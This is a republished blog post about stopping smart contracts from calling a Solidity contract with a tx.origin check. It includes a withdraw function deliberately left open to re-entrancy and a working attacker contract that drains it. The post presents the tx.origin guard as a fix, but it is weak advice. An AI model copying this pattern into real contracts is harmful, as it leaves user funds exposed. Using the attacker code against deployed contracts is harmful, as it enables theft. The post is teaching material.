Your Web News in One Place

Help Webnuz

Referal links:

Sign up for GreenGeeks web hosting
May 17, 2022 03:30 pm GMT

Prevent External Contracts

Almost every vulnerability you see in solidity smart contracts are caused by hackers developing some attacker contract and this attacker contract then harming the vulnerable contract.
By the way, I have made a series on smart contract vulnerabilities if you find it interesting (link)

But what if there is a way by which we can know if function caller is a contract or a normal wallet address?
Then we can stop any external contract from interacting with our contract, hence saving our contract from being hacked.

Let's see how this can be achieved:

  • consider a contract vulnerable to re-entrancy (check my re-entracy blog)
  • in this case, hacker will take advantage of late balance update in state mapping, and will keep on re-entering contract using his attacker contract until all funds are drained.
  • but not if we stop external contracts to call MyContract functions.
// SPDX-License-Identifier: GPL-3.0pragma solidity 0.8.1;contract MyContract { // this contract is vulnerable to re-entracy attack    mapping (address => uint) balances;    modifier noContract { // this won't allow external contracts to interact with this contract        require(tx.origin == msg.sender, "No contracts allowed");        _;    }    function deposit() external payable noContract { // using noContract         balances[msg.sender] += msg.value;    }    function withdraw() external payable noContract { // using noContract         uint amount = balances[msg.sender];        require(amount > 0, "Nothing to withdraw");        (bool sent, ) = msg.sender.call{value: amount}("");        require(sent, "Send operation failed");        balances[msg.sender] = 0;    }    function getBalance() external view returns(uint balance) {        balance = address(this).balance;    }}

We are stopping external smart contracts using noContract modifier. It verifies if function caller(msg.sender) is same as transaction initiator(tx.origin).
Wanna know more about tx.origin? Visit here

Now when some Attacker contract will try to steal funds from MyContract, transaction will fail.
Attacker contract:

// SPDX-License-Identifier: GPL-3.0pragma solidity 0.8.1;interface IMyContract{    function deposit() external payable;    function withdraw() external payable;}contract Attacker {    IMyContract myContract;    constructor(address _myContract) payable {        myContract = IMyContract(_myContract);    }    fallback() external payable {        if (address(myContract).balance > 0) {            myContract.withdraw();        }    }    function attack() external payable {        myContract.deposit{value: 1 ether}();        myContract.withdraw();    }    function getBalance() external view returns(uint balance) {        balance = address(this).balance;    }}

Original Link: https://dev.to/rushanksavant/prevent-contract-to-call-1bfk

Share this article:    Share on Facebook
View Full Article

Dev To

An online community for sharing and discovering great ideas, having debates, and making friends

More About this Source Visit Dev To